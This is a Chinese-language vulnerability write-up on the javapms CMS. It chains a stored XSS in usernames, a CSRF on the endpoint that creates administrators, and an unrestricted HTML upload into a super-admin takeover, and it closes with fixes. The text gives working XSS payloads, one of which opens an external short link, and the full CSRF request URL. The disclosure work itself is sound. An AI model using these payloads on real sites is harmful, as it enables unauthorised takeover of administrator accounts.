javapms存在存储型跨站,新建管理员功能存在CSRF,二者结合起来可以新建管理员账号。
这个用到了javapms系统的3个漏洞:一个存储型XSS、一个新建管理员功能的CSRF和一处允许html文件的上传漏洞。一一道来:
存储型XSS:
代码中输出用户名的地方很多没有进行html编码,通过评论或者其他办法让自己的带有跨站代码的用户名被当作脚本输出,可以对浏览页面的用户造成跨站脚本攻击。
注册用户名为:
<script>alert(/xss/)</script>
注册时,只在前端对用户名特殊字符进行了限制,通过抓包提交即可。
这个弹窗是因为登录后左上角显示用户名造成的,如何让其他用户一打开首页就中招呢?
看这里:
试试狂评论一篇文章:
就评这篇文章,评论完退出账号,再打开网站首页:
滚到刚才发表的评论处,跨站被执行了。
CSRF:
管理员新建管理员功能存在CSRF漏洞:
以管理员身份登录后,访问:
http://localhost:8080/javapms/admin/admin/o_save.do?username=test1&email=&password=111111&repassword=111111&realName=&selectdepartId=信息中心&departId=1&mobile=&phone=&manageStatus=2&roleId=1&takeDepart=true
想想将二者结合起来,XSS中的脚本写成管理员新建用户的URL,当管理员登录后打开首页,脚本被触发,即可新建用户。
想得是挺好的,怎奈将那么长的URL写进script里以后,报了个500。。。
查下数据库:
限制了50个字符。
于是确定,URL肯定不能直接写到用户名里,想到了短链接。
写了个html:
把它传到外网的地址上,然后生成个新浪微博短链接:
http://t.cn/RvBI6Es
于是,再注册一个用户,名为:
<script>open("http://t.cn/RvBI6Es")</script>
登录后发表评论,再退出来以管理员身份登录打开首页:
然后我们用这个账号登录后台试试,后台地址:
http://localhost:8080/javapms/admin/login.do
超级管理员哦!
一开始还提到了要用到一个上传漏洞,具体是这样的:
会员中心可以上传头像,这里没有限制文件类型,我们上面要拿来写脚本的html文件,完全可以传到这里:
提交后,邮件查看图片地址:
http://localhost:8080/javapms//member/upload/pms/201407/041504358c40.html
是不是很方便,由于就在本站下,甚至没有跨域的限制。
修复方案:
1.修复XSS,进行html编码输出,类似的没有进行编码就输出的点还有几个,我只列出了首页的用户名,此外还有后台的用户名编辑处的用户名邮箱电话什么的,都可能被跨站攻击。这个软件大部分地方编码做的都不错,就是落了几个。
2.进行token验证,防止CSRF。